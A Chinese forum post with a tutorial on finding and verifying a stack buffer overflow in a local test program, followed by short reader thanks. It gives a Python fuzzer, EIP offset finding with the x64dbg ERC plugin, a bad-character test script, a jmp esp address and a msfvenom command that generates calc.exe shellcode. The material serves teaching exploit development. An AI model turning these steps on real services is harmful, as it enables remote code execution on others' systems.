缓冲区溢出漏洞那些事：验证与危害判定篇

梦幻的彼岸

首发：https://sec-in.com/article/2022
环境信息
系统:kali、Windows 11
工具：x64dbg、ERC.Xdbg插件、python、msfvenom、ncat、Code with Mu
发现测试代码

[Python] 纯文本查看 复制代码

import socket
from struct import pack

IP = "127.0.0.1"
port = 21449

def fuzz():
    try:
        for i in range(0,10000,10):
            buffer = b"A"*i
            print("准备发送数据： %s bytes" % i)
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((IP, port))
            s.send(buffer)
            s.close()
    except:
        print("指定端口无法访问")

fuzz()

测试发现，程序接收到过多的信息会导致程序崩溃，猜测可能存在缓冲区溢出漏洞
测试程序正常运行，会启动一个终端

• 确定崩溃数据范围
  

为方便查看，在send函数处下断点，这样发送完一次数据后会中断，方便观察到程序在崩溃前接收到的数据访问是多少

程序在460-470崩溃了


更改测试规则，看到发送466程序崩溃了



进一步验证


反汇编分析看到发送466数据，异常暂停，但数据未溢出到EIP暂时无法利用


增加测试，逐步增加数据发现469时EIP无变化而当发送470数据EIP出现了41（A的16进制，先进后出原则）

证明了469后的数据可被利用

这种测试有点慢，换插件试试

ERC.Xdbg插件辅助测试先来500个测试代码看看效果（因为以确认了具体数值，实际测试会大很多）
命令：ERC --pattern c 5000
在日志模块会看到输出

备注：未设置插件工作目录的话，默认会在插件所在目录输入测试代码文件
此命令可自定义工作空间路径：ERC --config SetWorkingDirectory 盘符:\自定义路径\





EIP 70413670  (字符串：pA6p）


根据EIP 值的字符串格式定位


ERC --pattern o pA6p
可以看到469直接出现了

验证
先进后出原则：54534554 TSET





[size=1.67]坏字符或者说干扰字符排查

嗯有时候需要证明还是需要排查下的
ERC --bytearray 可生成用来判断的文件（txt测试代码、bin对比）


测试代码
# 在这里写上你的代码 :-)

[Python] 纯文本查看 复制代码

import socket
from struct import pack

IP = "127.0.0.1"
port = 21449

def bad_chars():
    all_chars = bytes([
        0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
        0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F,
        0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
        0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F,
        0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
        0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F,
        0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,
        0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F,
        0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47,
        0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F,
        0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57,
        0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F,
        0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67,
        0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F,
        0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77,
        0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F,
        0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87,
        0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F,
        0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97,
        0x98, 0x99, 0x9A, 0x9B, 0x9C, 0x9D, 0x9E, 0x9F,
        0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7,
        0xA8, 0xA9, 0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF,
        0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7,
        0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF,
        0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7,
        0xC8, 0xC9, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF,
        0xD0, 0xD1, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7,
        0xD8, 0xD9, 0xDA, 0xDB, 0xDC, 0xDD, 0xDE, 0xDF,
        0xE0, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7,
        0xE8, 0xE9, 0xEA, 0xEB, 0xEC, 0xED, 0xEE, 0xEF,
        0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7,
        0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF
    ])

    offset = 469
    buffer = b"A"*offset
    eip = b"TEST"
    payload = buffer + eip + all_chars

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((IP, port))
    s.send(payload)
    s.close()

bad_chars()

对比命令：ERC --compare ESP值 盘符:\bin文件所在路径\文件名

看到00后开始不一样了

删除无效字符：ERC --bytearray -bytes 0x00

看到0x00没有使用了

根据此思路删除


ERC --bytearray -bytes 0x00,0x0A,0x0D

危害判定测试
寻找可被利用的地址（这里使用jmp esp进行测试）

621014E3 选择一个进行测试


运行计算器程序生成命令与参数：msfvenom -p 'windows/exec' CMD='calc.exe' -f 'python' -b '\x00''\x0A''\x0D'




shell


备注：因系统编码不同会导致终端字符串显示乱码，可输入chcp 65001


结尾：
本篇文章到此告一段落，有缘再见，最后希望可遵守相关法律与道德底线的情况下进行测试。

xiaomils

厉害，学习了

飞天梦

谢谢楼主分享

乐活

Python还会一些，过来学习，多谢分享